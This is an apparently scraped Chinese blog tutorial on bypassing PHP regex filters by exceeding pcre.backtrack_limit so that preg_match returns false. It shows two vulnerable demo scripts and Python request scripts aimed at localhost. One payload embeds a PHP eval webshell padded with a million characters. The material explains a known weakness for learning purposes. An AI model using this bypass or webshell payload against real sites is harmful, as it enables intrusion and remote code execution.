当前位置:网站首页>利用正则表达式的回溯实现绕过
利用正则表达式的回溯实现绕过
2022-08-01 10:13:00 【miracle-boy】
目录
什么是正则回溯?
从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。
为什么可以利用正则回溯进行绕过?
- 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。
- 在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:
- 使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
php正则回溯绕过案例一
php源码:
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
echo "flag{raoguo-cenggong}";
}else{
echo "bad requests";
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
python绕过源码
import requests
datas = {
'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)
当回溯次数为999990次时的运行结果:
当回溯次数为1000000次时的运行结果:
php正则回溯绕过案例二
php源码:
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
[email protected]$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'flag{cheng-gong}';
}else{
echo 'no have Merry Christmas';
}
}else{
echo 'Bypass the failure';
}
}
?>
python源码:
import requests
datas = {
'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
python测试:
没有 ‘Merry Christmas’ 前缀的运行结果
import requests
datas = {
'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:
边栏推荐
- How to implement deep copy in js?
- 周鸿祎称微软抄袭 360 安全模式后发文否认;英特尔CEO基辛格回应市值被AMD超越:股价下跌是咎由自取|极客头条
- Endorsed in 2022 years inventory | product base, science and technology, guangzhou automobile group striding forward
- Introduction and application of pointers
- WTM:ASP.NET Core快速开发利器!
- Google Earth Engine——给影像添加一个属性对于单景的时间序列并返回影像
- MacOS下postgresql(pgsql)数据库密码为什么不需要填写或可以乱填写
- STM32 Personal Notes - Watchdog
- [Software Architecture Mode] The difference between MVVM mode and MVC mode
- AC与瘦AP的WLAN组网实验
猜你喜欢
How to implement deep copy in js?
CTFshow,命令执行:web31
Qt 支持HEIC/HEIF格式图片
Mysql index related knowledge review one
小程序毕设作品之微信美食菜谱小程序毕业设计成品(3)后台功能
微信公众号授权登录后报redirect_uri参数错误的问题
Endorsed in 2022 years inventory | product base, science and technology, guangzhou automobile group striding forward
redis
阿里腾讯面试一二
mysql在cmd的登录及数据库与表的基本操作
随机推荐
Three chess (C language implementation)
SQL Server database schema and objects related knowledge notes
小程序毕设作品之微信美食菜谱小程序毕业设计成品(4)开题报告
Go-Excelize API source code reading (8) - GroupSheets(sheets []string), UngroupSheets()
C语言程序设计50例(三)(经典收藏)
How I secured 70,000 ETH and won a 6 million bug bounty
一文说明白ECDSA spec256k1 spec256r1 EdDSA ed25519千丝万缕的关系
AC与瘦AP的WLAN组网实验
cisco交换机基本配置命令(华为交换机保存命令是什么)
退役划水
对于小应用来讲,使用哪款数据库比较好?
What are the common API security flaws?
Change Servlet project to SSM project
自定义类型——枚举、联合
周鸿祎称微软抄袭 360 安全模式后发文否认;英特尔CEO基辛格回应市值被AMD超越:股价下跌是咎由自取|极客头条
【cartographer ros】10: Delay and error analysis
WPF 截图控件之绘制箭头(五)「仿微信」
记一次 .NET 某智慧物流WCS系统CPU爆高分析
Introduction to STM32 development Introduce IIC bus, read and write AT24C02 (EEPROM) (using analog timing)
Guangyu Mingdao was selected into the list of pilot demonstration projects for the development of digital economy industry in Chongqing in 2022